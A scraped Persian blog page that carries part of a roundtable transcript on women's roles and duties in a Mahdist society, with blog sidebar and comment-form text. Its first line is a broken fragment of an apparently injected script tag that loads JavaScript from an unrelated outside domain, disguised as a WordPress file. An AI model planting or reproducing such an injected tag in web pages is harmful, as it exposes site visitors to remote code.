script type=’text/javascript’ src=’http://taklearn.ir/wp-includes/js/l10n.js?ver=20101110′> زن و جامعه مهدوي؛وظايف و مسئوليّت‌ها - زن و جامعه مهدوی-ادامه1
منجی عشق
این وبلاگ قصد دارد شما را با موضوع مهدویت بیشتر آشنا کند

زن و جامعه مهدوي؛وظايف و مسئوليّت‌ها - زن و جامعه مهدوی-ادامه1

در صورت پذيرفته شدن اين سخن، بايستي به شناسايي لوازم اين حضور پرداخت: مهم‌ترين لازمه اين حضور، داشتن تقواست. در آيات و روايات اشاره مي‌شود که ملاک برتري و ملاک امتياز افراد در جامعه، داشتن تقوا ست. اما مهم است توجه داشته باشيم كه تقوا يعني چه و به چه كساني با تقوا گفته مي‌شود؟ آن چه از منابع ديني استنباط مي‌شود، آن عهد و ميثاقي که در بدو خلقت از انسان گرفته شده است، كه آن عبارت است از عبوديت و پذيرش عبوديت الهي و از طرفي مجراي اين عبادت و ولايت الهي هم تولي داشتن به ولايت اولياي الهي معرفي شده است. اولياي محوري، ائمه معصومين عليه السلام هستند و در رأس آنها وجود مقدس نبي اکرم صل الله عليه و آله و سلم است. در حقيقت، باطن دين و دين داري، تولي به ولي الله است و براساس ميزان تولي که افراد به ولي الهي دارند مي‌شود آنها را ارزش گزاري کرد؛ پس هر چه ميزان تولي بالا مي‌رود درجه تقوا هم بالاتر مي‌رود. در عصر غيبت به سر مي‌بريم. امام عصر حاضر نيستند و طبيعتاً ميزان تولي به نايب ايشان، ولي عصر عجل الله تعالي فرجه الشريف مي‌تواند ميزان معبوديت باشد.
براي حرکت در مسير اين مبارزه‌اي که مطرح شد، طبيعتاً مراحل و اصول خاصي را بايد پشت سر گذاشت که مسير حرکت و مراحل حرکت آن را مقام عظماي ولايت، معين كرده و اقشار را به واسطه آن مراحلي که ترسيم شده است هدايت مي‌كنند. در عمل در يك نگاه كوتاه مي‌بينيم كه ابتدا ايجاد تحول سياسي در نظام صورت پذيرفت که اين تحول سياسي به واسطه انقلاب اسلامي رخ داد. بلافاصله بعد از آن، امام رحمه الله عليه بحث انقلاب فرهنگي و ضرورت ايجاد تحول فرهنگي را مطرح کردند و طبيعتاً بعد از آن هم لازم است که يک تحول اقتصادي رخ دهد. پس وقتي در شرايط غيبت، موضوع اول نظام، مسئله درگيري حق با باطل است و مرحله‌اي هم كه الان در آن به سر مي‌بريم مرحله ايجاد تحول فرهنگي در نظام است؛ پس وظيفه همة اقشار، حضور در روند ايجاد اين تحول فرهنگي است؛ چه زن و چه مرد، بايستي در هر پست و منصب و شغل و سليقه و... هر كاري كه هستند فعاليت خود را به منظور تحقق انقلاب فرهنگي انجام دهند. وقتي که نوع وظيفه مشخص شود، مي¬توان تفکيک کرد که زنان چگونه مي‌توانند در سير ايجاد اين تحول و در اين روند حضور و مشارکت داشته باشند و مردان چگونه؟ مي‌دانيد زنان مظهر عاطفه هستند و البته لازم است كه اين عاطفه خود را با عقلانيت، مديريت كنند. عاطفه و عقلانيت دو بازويي هستند که در خلقت در کنار هم آفريده شده¬اند و نمي‌شود عاطفه، بي‌عقلانيت و عقلانيت، بي‌عاطفه باشد. قطعاً با چالش مواجه خواهد شد؛ يعني در حقيقت زن بايد عاطفه لازم براي اين تحول را تأمين کند و مرد هم بايد عقلانيت لازم را براي ايجاد اين تحول تأمين کند. نمي‌شود عقلانيت صرف به کار برد، يعني همان طور که اشاره مي‌شود و خانم معين‌الاسلام هم اشاره فرمودند، نمي‌شود نقش زنان را کم‌رنگ کرد يا ناديده گرفت يا محدود نمود. در شرايط امروز نمي‌توان گفت خانم‌ها در خانه بنشينند، وظيفه آنها شوهر داري و تربيت فرزند است و آقايان، امور اجتماع و حضور در عرصه تصميم سازي و تصميم گيري و اجرا را به عهده بگيرند. بايد تفکيک، قائل شد كه اين تفکيک براي جامعه مطلوب است؛ براي نظام مطلوبي که با ظهور موعود عجل الله تعالي فرجه الشريف محقق خواهد شد. ولي در جامعه کنوني در عصر غيبت قطعاً يک موقعيت‌هايي پيش مي‌آيد که ديگر از عقلانيت کاري بر نمي‌آيد؛ يعني فضاها آن‌قدر براي عقلانيت بسته مي‌شود که فقط حضور عاطفه مي‌تواند تحول ساز و حادثه ساز باشد.
دليل ديگر هم مي‌تواند بحث مکمليت عقلانيت و عاطفيت باشد، يعني مي‌خواهم بگويم که اگر حضور مستقيم عاطفه و مظاهر آن ـ که زنان هستند ـ را در روند توسعه پرچم توحيد، حذف و يا کم رنگ کنيم، قطعاً نظام ما در روند توسعه خود با چالش هايي روبه‌رو خواهد شد و چه بسا به همان سمتي کشيده مي‌شود که نظام غرب کشيده شده است. از آسيب‌هاي مهمي که نظام غرب دارد، اين است که زنانگي در اين نظام مرده است، حيات زنانگي صرفاً به اين است که زن، شئ باشد؛ اگر به صورت شئ و کالا باشد حيات دارد والا موجوديت او زير سؤال است؛ لذا تلاش جنبش فمينيسم در جهت کنار گذاشتن قدرت اصلي خود زن، يعني عاطفه و احساسات، و خود را شبيه به مردان کردن است و حرکت به سوي عقلانيت صرف.  ثمره‌ آن هم اين شده که خود فمينيست‌ها اشاره مي‌کنند که تنها چيزي که فمينيست به ما داد اين بود که زنانگي ما را گرفت. پس ما در جامعة مهدوي معتقديم که زنان بايد حضور مستقيم در توسعه نظام ولايت اجتماعي داشته باشند. لازم نيست حضور آنها به شکل حضور آقايان باشد، بلکه بايد با همان قدرت عاطفه خودشان حضور داشته باشند؛ منتها يک اصل مهم وجود دارد كه زنان ما بايد ياد بگيرند که قدرت عاطفه خودشان را مديريت و سازمان دهي کنند که متأسفانه اين حلقة گم شده‌اي که الان وجود دارد اين است که بانوان ما حضور در عرصه اجتماعي پيدا کردند؛ ولي از طرفي ساختارهاي اجتماعي مناسب براي حضور زنان وجود ندارد و از طرف ديگر آنها قدرت مديريت عاطفة خودشان را هنوز به دست نياورده اند و به سبب همين، غالباً نتوانستند سطح فکري خودشان را از سطح مسائل خرد به سطح مسائل توسعه‌اي ارتقا و رشد دهند.

دكتر بهروز لك: من هم ديدگاهي دارم كه عرض مي‌كنم. يكي از بحث‌هايي كه مي‌توانيم درباره زن و مهدويت در عصر غيبت داشته باشيم، توجه به اين نکته است که نظام اعتقادي، همواره به صورت شبکه‌اي و نظام است و نمي‌شود بخشي از آن را گرفت و بخش ديگر را ناديده گرفت. در واقع، آن‌چيزي که مي‌خواهم بگويم، اين است كه زن و مهدويت را اگر مستقلاً هم مورد توجه قرار بدهيم، نمي‌توانيم آن را در خلا مورد بررسي قرار دهيم. زن، بخشي از نظام خلقت و اجتماع انساني است، مرد هم بخشي از اين نظام است و يک رابطه تعاملي در بين آنها وجود دارد و اگر خداوند در قرآن مي‌فرمايد که  (يا ايها الذين آمنو استجيبوا لله و للرسول اذا دعاكم لما يحييكم ) به اين معناست كه انسان‌ها همه بايد به سوي آن حيات، قدم بردارند و حرکت کنند؛ آن حيات هم در واقع اجابت خدا است. اگر اين کانون نظام توحيدي ماست، هر کدام از زن و مرد به عنوان عناصر اجتماعي بايد جايگاهي پيدا کنند که در تعامل با يک‌ديگر باشند. پس اگر ما مسئله زن و مهدويت را مورد مطالعه قرار بدهيم بايد به اين توجه کنيم که در اين امر، زن و مرد جداي از هم نيستند و يک نوع تعامل و مکمليت نسبت به هم دارند.
اگر مي‌بينيم پيامبر گرامي اسلام صل الله عليه و آله و سلم وظايفي را براي حضرت فاطمه عليها السلام معين مي‌کند و وظايفي را براي حضرت علي عليه السلام، اما هنگامي که نوبت دفاع از ولايت مي‌رسد، حضرت فاطمه عليها السلام در مسجد حاضر مي‌شود و از حريم ولايت دفاع مي¬کنند. پس نکته اول اين است كه بايد نقش زن و مرد در زمينه مهدويت، مکمل يک‌ديگر باشد. حتي اگر آنها وظايف مستقلي در اين زمينه دارند، اما در مجموع، اين وظايف و نقش‌ها مکمل يک‌ديگر است.
نکته ديگر، وجود همين نقش‌هاي اختصاصي زن و مرد در زمينه مهدويت است. لذا بايد در بحث خود بر اين محور تمرکز بکنيم. بايد نقش‌هاي مختلف زنان را در ارتباط با آموزه مهدويت اسلامي، شناسايي و بررسي کنيم. اين نقش‌ها خود در ابعاد و عرصه¬هاي مختلفي مطرح است. در زندگي فردي، مباحث خاصي مطرح است. در زندگي اجتماعي، مباحث ديگر. حتي در زندگي خانوادگي نيز مي توان نقش‌ها و وظايف خاصي را شناسايي کرد. هم چنين مي توان اين نقش‌ها و وظايف خاص زن را از منظر زماني و مقاطع مختلف تاريخي بررسي کرد. زن مسلمان، نقش‌ها و وظايف خاصي در عصر حضور معصومين عليهم السلام داشته است؛ وظايفي در فرايند تولد حضرت مهدي عجل الله تعالي فرجه الشريف، وظايفي در عصر غيبت ـ چه غيبت صغري و چه غيبت کبري ـ و وظايف و نقشهاي خاصي را براي زن مسلمان مي توانيم در عصر ظهور و فرايند انقلاب و آرمان‌شهر مهدوي شناسايي کنيم. هر چند هر کدام از اين ابعاد مهم بوده و نيازمند بحث و گفت‌وگو است، اما به نظر مي رسد با توجه به وضعيت جامعه ما که در عصر غيبت امام زمان خويش به سر مي برد، مقتضي است که اولويتي به اين بحث بدهيم و وظايف و نقش‌هاي زنان را در عصر غيبت و زمان کنوني بررسي کنيم. طبعاً اين‌جا مباحث گسترده اي وجود دارد که بايد تلاش کنيم آنها را در حد امکان مطرح نماييم.
نکته سوم اين است که فکر مي‌کنم که نقش‌هاي ويژه اساسي زن را در مهدويت در سه عرصه مختلف و در واقع در سه برش مورد توجه قرار بدهيم. البته شايد در برخي از آنها هنوز تفکيک جنسيتي مشکل باشد. اولين مسئله، نقش فردي زن مسلمان است. در عرصه فردي لازم است كه تمامي انسان‌ها براساس فرمايش حضرت علي عليه السلام، «رحم الله امرءاً عرف قدره»؛ خودشناسي كنند و بفهمند كه چه کسي هستند و چه کار بايد بکنند؟ البته اين وظيفه مشترک زن و مرد است، اما هر کدام از زن و مرد بايد خود را در موقعيت خاص خويش مورد توجه قرار بدهند. عرصه دوم، عرصه خانواده است. وقتي زن و مرد خودشان را شناختند و در تعامل با يک‌ديگر زندگي مشترک را شروع کردند، نقش خانوادگي آنها شکل مي گيرد. زن و مرد در اين‌جا وظايف خاصي را برعهده مي‌گيرند. طبيعت و جهان خلقت بدون اين‌که انتخاب بکنيم، وظايفي را بر عهدة زن و مرد قرار داده است. تفاوت در نوع اندام خلقت، در قواي وجودي طبيعي است که تفاوت‌هايي را در نقش‌ها براي ما ايجاد نمايند. اين تفاوت براي خودش يک سري وظايفي را هم براي ما ايجاد مي‌کند كه اختصاصي مي‌شود. من فکر مي‌کنم وظايف زن و مرد را در ارتباط با مباحث مهدويت از اين منظر خانوادگي هم بايد مورد توجه قرار بدهيم.
يک سري عرصه‌هايي وجود دارد که عرصه اجتماعي هستند. مثلاً درست است که زن در خانواده متولي پرورش اصلي کودک است؛ اما مرد هم آن‌جا مکمل است. هرچند زن مباشرت بيشتري دارد، مرد هم اين‌جا نقشش را ايفا مي‌کند، اما در عرصه اجتماعي مي‌توانيم اين نقش‌‌ها را جدي‌تر بگيريم و بالفرض اگر تنها فرزند خودمان را و فرزندان جامعه را در واقع تربيت مي‌کنيم، زن‌ها و مردها هريک وظيفه‌اي دارند كه فکر مي‌کنم اين سه تا برش را اگر به صورت مجزا از هم در رابطه با مهدويت مد نظر قرار بدهيم مي‌توانيم نقش‌هاي متمايز زن و مرد را در عرصه مطالعات زن و مهدويت با توجه به نقشي که در رابطه با غيبت خواهيم داشت، شناسايي بکنيم.

خوب با توجه به اين که کلياتي از مباحث مطرح شد و بحث را مي‌توانيم پيش ببريم، بهتر است که پس از سؤال اول با تمرکزي، سؤال دوم و يا سوم را يک‌جا بيان کنيد و در اين‌جا هم تمايز ميان زن و مرد را بگوييد و هم آن وظايف خاصي که هريك ايفا مي‌کنند بيان كنيد.
خانم معين الاسلام: فكر مي‌كنم اگر سؤال سوم مطرح بشود و تمايزش هم مشخص بشود و بعد سؤال دوم، كه وظايف زنان در مباحث مهدويت در شرايط كنوني مشخص خواهد شد. حال در تكميل مباحث گذشته كه مطرح شد ضروري است به اين نكته اشاره شود كه در تفكر مهدويت، نگاه به زن، همان نگاهي است كه در سيره علوي و نبوي وجود داشته؛ يعني هيچ تفاوتي نمي‌كند. چون در روايات ما آمده كه حضرت مهدي عجل الله تعالي فرجه الشريف در واقع سيره نبوي را احيا و ادامه خواهند داد و تحقق بخش اهداف رسول خدا صل الله عليه و آله و سلم خواهند بود. در جاهليت اول در زمان جاهليت قبل از بعثت حضرت رسول اكرم صل الله عليه و آله و سلم انسانيت را از زن گرفتند و در جاهليت مدرن همان طور كه خانم صادقي اشاره كردند، زن بودن را از زن مي‌گيرند؛ ولي در تفكر نبوي و مهدوي در واقع هم حفظ انسانيت زن مطرح است و هم حفظ زن بودنِ زن مطرح است. زن به عنوان يك انسان در جامعه مهدوي و هم‌چنين زن به عنوان يك زن در جامعة مهدوي، وظايفي را عهده‌دار مي‌‌باشد كه برخي از آنها با مردان مشترك مي‌باشد و اما به عنوان يك زن عضو جامعه مهدوي، مسئوليت‌ها و رسالت‌هاي خاص خودش را هم دارد، اما اگر بخواهيم بيشتر روي آن وظايف خاص زنان متمركز بشويم بايد ببينيم كه چه جايگاهي در نظام تربيتي اسلام براي زن قائل شده‌اند. مسئوليت انسان سازي، بهترين رسالت زن در نظام تربيتي اسلام است. همان نقشي كه معمار انقلاب حضرت امام خميني رحمه الله عليه هم به زيبايي به آن اشاره نموده‌اند كه همان طور كه قرآن انسان‌ساز است. زن هم انسان ساز است؛ اصيل‌ترين نقشي را كه زن در جامعة كنوني مي‌تواند به عنوان يك زن داشته باشد در اين جامعه گويي پرداختن به همين نقش است، يعني نقش انسان سازي است. اكنون، عمده‌ترين خلأيي كه در جامعة كنوني داريم اين است كه دچار يك نوع انفعال در مسئله انسان سازي شديم، يعني در عرصه تربيت فعالانه برخورد نمي‌كنيم. در مقابل كليه فعاليت‌ها و فعل و انفعالاتي كه از طرف بيگانه صورت مي‌گيرد منفعل شده‌ايم. ما بايد اين نقش فعال را كه نقش انسان سازي است را اصالت بدهيم. آيت الله جوادي آملي در يكي از مباحث‌شان مطرح مي‌كردند كه اگر زن، اصالت را به شغل مادري و همسري ندهد از صراط مستقيم خارج است؛‌ يعني برخلاف ديدگاه فمينيستي كه مادري را و همسري را يك نوع بردگي مي‌بينند و يك شغل منفعل مي‌دانند، در نظام مهدوي، مادري و همسري يك شغل كاملاً اصيل است. عمده‌ترين نقشي كه زن مي‌تواند ايفا كند اين نقش است؛ نقش انسان سازي و تأمين نيروي انساني جامعة مهدوي كه اين مي‌تواند بزرگ‌ترين خدمت فرهنگي به يك جامعة مهدوي در عصر حاضر باشد. مسئله بعد نقشي است كه زن به عنوان نيمي از پيكرة جامعه منتظر و تأثيرگذار در نيمي ديگر از جامعه مي‌تواند داشته باشد. پس در واقع، زن مي‌تواند با هنرنمايي، تمامي جامعه را تحت تأثير قرار دهد و مي‌تواند در احياي فرهنگ مهدوي در جامعه يا تخريب آن به عنوان يك عنصر فعال و مؤثر نقش آفريني نمايد. حضرت امام مي‌گويند: زن، نقش رهبري را دارد، نقش پيش تازي را دارد. نهايتاً زن مي‌تواند در عرصه فرهنگ جامعه ما بيشترين تأثير را داشته باشد؛ لذا اين نقش فرهنگ سازي زنان در عرصه‌هاي فرهنگي در جامعة كنوني را نبايد فراموش كنيم؛ چرا كه زنان با توجه به ويژگي‌هاي خاص خودشان، وقتي به عنوان يك معلم، يك مربي و يك عنصر فرهنگي در جامعه نقش آفريني مي‌كنند، تحول آفرين مي‌شوند و مي‌توانند يك جامعه را به سوي تعالي و رشد و يا يك جامعه را به سوي انحطاط ببرند. زنان، آميزه‌اي از عقل و احساس‌اند كه اگر از اين دو ابزار به خوبي بهره جويند، مي‌توانند حركت‌هاي خوبي در جامعه ايجاد نمايند. حالا البته به اين شدت كه سركارخانم صادقي گفتند كه مردان، عقلانيت محض‌اند و زنان عواطف محض هستند را به اين شكل نمي‌پذيرم. حتي اگر بخواهيم زن را به عنوان يك انسان بپذيريم، يك انسان هم مظهر عقلانيت و هم مظهر عواطف است. نمي‌تواند اين دوتا را نداشته باشد.
خانم صادقي: محض بودن را من عرض نكردم؛ بلكه مظهر عاطفه هستند.
خانم معين الاسلام: اگر زن را به عنوان يك انسان بپذيريم، يك انسان كامل هم مظهر عقلانيت است و هم مظهر عواطف.
خانم صادقي: هر دو در وجود هر دو جنس است، ولي آن‌چه را که مي‌بينيم و علما نيز مي‌فرمايند: زن مظهر جمال است و مرد مظهر جلال. اين به اين معنا نيست که در زن جلال نيست و در مرد جمال نيست. ضمن اين‌كه وقتي صحبت از مديريت عاطفه توسط خود زنان مي‌شود به اين معناست كه لازم است عاطفه شان را با عقلانيت خود، سازمان‌دهي كنند و در خدمت مسائل مختلف زندگي فردي، خانوادگي، اجتماعي و جهاني قرار دهند.
خانم معين الاسلام: بنده از سوء برداشتم عذر مي‌خواهم؛ ولي به هر حال، فكر مي‌كنم كه يك زن هم با عقلانيت، يعني با كمال عقلاني خود و هم با بهره‌گيري از عواطف سرشار انساني مي‌تواند يك تأثير پايدارتر و ماندگارتري در جامعه داشته باشد. به همين جهت است كه مهاجمان فرهنگي ما براي تخريب فرهنگي جامعه از زنان استفاده مي‌كنند؛ به سبب اين كه زنان، نقش خيلي جدي در مسئله فرهنگ سازي دارند؛ لذا عمده‌ترين وظايفي كه زنان بعد از مسئله پرورش نيروي انساني و تأمين نيروي انساني در شرايط فعلي دارند، تأثير گذاري بسيار بالاي آنهاست. زن مي‌تواند در عرصه فرهنگ،‌ اخلاق، معنويت و سياست كه از عناصر اصلي تمدن است،‌ تأثيرگذار باشد. به نظر بنده، ارتباط تنگاتنگي بين فرهنگ عاشورا با فرهنگ مهدويت وجود دارد. مي‌بينيم كه امام حسين عليه السلام بعد از اين كه مورد سؤال قرار مي‌گيرد كه چرا زنان را با خودتان مي‌بريد، جواب مي‌دهند كه خداوند اراده كردند كه اين زنان با ما باشند، اين اراده الهي در دخيل كردن زنان در تكميل و به هر حال به سامان رساندن جريان عاشورا نشان دهنده آن نقش بسيار حساس و كليدي و محوري است كه زنان مي‌توانند داشته باشند و گويا بيان‌گر اين مسئله است كه اگر زنان در جريان عاشورا نباشند نهايتاً تمامي اهداف بلند مكتب عاشورا تحقق پيدا نخواهد كرد. در جامعه كنوني ما زنان مي‌توانند خيلي مؤثر باشند و نقش جدي در مباحث مهدويت داشته باشند و براي اين كه بتوانند رسالت‌هاي خودشان را هم در زمينه تأمين نيروي انساني به عنوان مادري و همسري و هم به عنوان يك انسان در جامعه مهدوي ايفا بكنند، چند وظيفه را بايد انجام بدهند؛ يكي از مهم‌ترين وظايف‌شان اين است كه همان طور كه هر انساني در جامعه مهدوي مي‌خواهد ثبات قدم در دين داشته باشد و دين‌مداري خودش را بتواند در اين عرصه حفظ بكند بايد مهدي شناسي كند؛ يعني شناخت نسبت به امام زمان عجل الله تعالي فرجه الشريف‌ در دعاي معروف «اللهم عرفني حجتك…»  تا آن‌جا كه مي‌فرمايند كه اگر حجت خودت را به ما نشناساني؛ از دين خودم، من گمراه مي‌شوم. واقعاً يك واقعيتي است كه ما بدون شناخت امام زمان عجل الله تعالي فرجه الشريف در اين عرصه نمي‌توانيم دين خودمان را حفظ بكنيم؛ لذا يكي از مهم‌ترين وظايف زنان و رسالت‌هاي آنان منتظرپروري است و براي انجام اين رسالت بايد امام زمان عجل الله تعالي فرجه الشريف را خوب بشناسند تا بتوانند فرهنگ مهدوي را و عشق به حضرت را در نهاد فرزندان خود نهادينه كنند و اگر قرار است به عنوان يك انسان در جامعه مهدوي ايفاي نقش كنند شناخت نسبت به امام زمان عجل الله تعالي فرجه الشريف‌ يكي از عمده‌ترين وظايف زنان است كه البته من بحث ديگري را در اين رابطه داشتم كه از آن فاكتور مي‌گيرم.


نظرات شما عزیزان:

نام :
آدرس ایمیل:
وب سایت/بلاگ :
متن پیام:
:) :( ;) :D
;)) :X :? :P
:* =(( :O };-
:B /:) =DD :S
-) :-(( :-| :-))
نظر خصوصی

 کد را وارد نمایید:

 

 

 

عکس شما

آپلود عکس دلخواه:





درباره وبلاگ

چه با شکوه است تصویر ایامی که تنها حاکم عالم، دادگستری چون قائم آل محمد(عج) باشد. و چه زیباست زندگی در ایامی که پرچمی جز پرچم توحید به اهتزاز نباشد و ندائی جز ندای حق به گوش جهانیان نرسد، دورانی سرشار از عطوفت، مهربانی، عدالت، آزادگی و کرامت انسانی.
موضوعات
پيوندها

تبادل لینک هوشمند
برای تبادل لینک  ابتدا ما را با عنوان منجی عشق و آدرس monjieeshgh.LoxBlog.ir لینک نمایید سپس مشخصات لینک خود را در زیر نوشته . در صورت وجود لینک ما در سایت شما لینکتان به طور خودکار در سایت ما قرار میگیرد.





نويسندگان


ورود اعضا:

نام :
وب :
پیام :
2+2=:
(Refresh)

خبرنامه وب سایت:





آمار وب سایت:  

بازدید امروز : 7
بازدید دیروز : 0
بازدید هفته : 162
بازدید ماه : 255
بازدید کل : 33024
تعداد مطالب : 50
تعداد نظرات : 14
تعداد آنلاین : 1